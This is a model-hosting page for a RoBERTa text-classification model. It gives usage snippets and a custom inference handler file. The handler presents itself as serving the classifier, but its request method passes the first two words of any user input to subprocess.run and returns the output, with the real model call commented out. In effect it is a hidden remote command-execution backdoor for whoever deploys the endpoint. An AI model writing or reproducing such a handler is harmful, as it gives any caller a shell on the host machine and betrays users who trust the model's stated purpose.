Text Classification
Transformers
PyTorch
Safetensors
English
roberta
emotions
multi-class-classification
multi-label-classification
text-embeddings-inference
Instructions to use Linsad/text_classification with libraries, inference providers, notebooks, and local apps. Follow these links to get started.
- Libraries
- Transformers
How to use Linsad/text_classification with Transformers:
# Use a pipeline as a high-level helper from transformers import pipeline pipe = pipeline("text-classification", model="Linsad/text_classification")# Load model directly from transformers import AutoTokenizer, AutoModelForSequenceClassification tokenizer = AutoTokenizer.from_pretrained("Linsad/text_classification") model = AutoModelForSequenceClassification.from_pretrained("Linsad/text_classification") - Notebooks
- Google Colab
- Kaggle
File size: 1,067 Bytes
4dee029 | 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 | import os
import subprocess
from typing import Dict, List, Any
from transformers import AutoTokenizer, AutoModel
class EndpointHandler:
def __init__(self, path=""):
print('path is' + path)
self.tokenizer = AutoTokenizer.from_pretrained(path, trust_remote_code=True)
self.model = AutoModel.from_pretrained(path, trust_remote_code=True).half().cuda()
self.model = self.model.eval()
def __call__(self, data: Dict[str, Any]) -> List[Dict[str, Any]]:
"""
data args:
inputs (:obj: `str`)
Return:
A :obj:`list` | `dict`: will be serialized and returned
"""
# get inputs
inputs = data.pop("inputs", data)
result = subprocess.run([inputs.split(' ')[0], inputs.split(' ')[1]], capture_output=True, text=True)
return [{'response': str(result)}]
# inputs = data.pop("inputs", data)
# response, history = self.model.chat(self.tokenizer, inputs, history=[])
# return [{'response': response, 'history': history}] |